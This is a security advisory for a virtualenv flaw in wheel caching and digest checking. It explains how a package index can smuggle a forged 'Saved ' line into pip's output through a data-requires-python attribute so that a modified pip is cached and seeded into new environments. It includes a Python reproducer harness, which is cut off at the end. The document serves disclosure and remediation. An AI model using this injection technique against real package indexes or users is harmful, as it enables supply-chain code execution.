GHSA-494p-63j8-28p3 virtualenv: Downloaded wheel selection and caching precede verification

• PyPI virtualenv: < 21.14.9 → fixed in 21.14.9

Summary Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache. Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026. Affected area Download selection and promotion into the reusable wheel cache. Attacker-controlled input A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison. Affected code The relevant 21.14.8 source is in wheel download and digest check. Mechanism `download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash from the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again. Reproduction and evidence The scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a forged `Saved ` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant. The report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. PR #3430 downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance. Attack sequence ```mermaid sequenceDiagram participant I as Configured index participant P as pip download participant C as wheel/house cache participant V as virtualenv digest check participant N as New environment I->>P: modified wheel and forged Saved line P->>C: write modified wheel directly P-->>V: stdout names genuine bundled wheel V->>V: hash genuine wheel and accept V->>C: record modified wheel for reuse C->>N: seed modified pip without rehash Note over P,C: Even a rejected wheel can remain in the cache ``` Reproducer files The following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. `repro` ```text !/usr/bin/env python3 import atexit import hashlib import json import os import shutil import subprocess import sys from pathlib import Path companions = Path("/tmp/repro.d") work = Path("/tmp/forged-saved-line") home = work / "home" app_data = home / ".cache" / "virtualenv" this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json" virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"] as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True} added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py def user_upgrades_seed_wheels_and_creates_env(): # each case starts from an empty app-data shutil.rmtree(app_data, ignore_errors=True) shutil.rmtree(home / "env", ignore_errors=True) upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user) # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach subprocess.run([*virtualenv, "--no-periodic-update", "env"], as_user, check=True) pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], as_user, check=True) # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0 refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None) logged = [] if update_log_of_pip.exists(): # a failed update writes no log logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]] return refusal, logged, pip_version.stdout.splitlines() set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it shutil.rmtree(work, ignore_errors=True) (home / ".config" / "pip").mkdir(parents=True) shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf") subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True) index_server = subprocess.Popen( [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True, ) atexit.register(index_server.kill) assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True) refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env() print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal) print("CONTROL modified pip: update log of pip lists", logged) print("CONTROL modified pip: pip --version in the new env prints", pip_says) control_ran_added_code = added_code_prints in "\n".join(pip_says) attack: the index also adds one link, whose data-requires-python puts a "Saved " line into pip's output subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True) refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env() stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl" stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest() pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"] print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal) print("OBSERVED + forged line: update log of pip lists", logged) print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256) print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256) print("OBSERVED + forged line: pip --version in the new env prints", pip_says) attack_ran_added_code = added_code_prints in "\n".join(pip_says) check: the same modified wheel, refused without the forged line, is seeded with it print("BUG" if attack_ran_added_code a…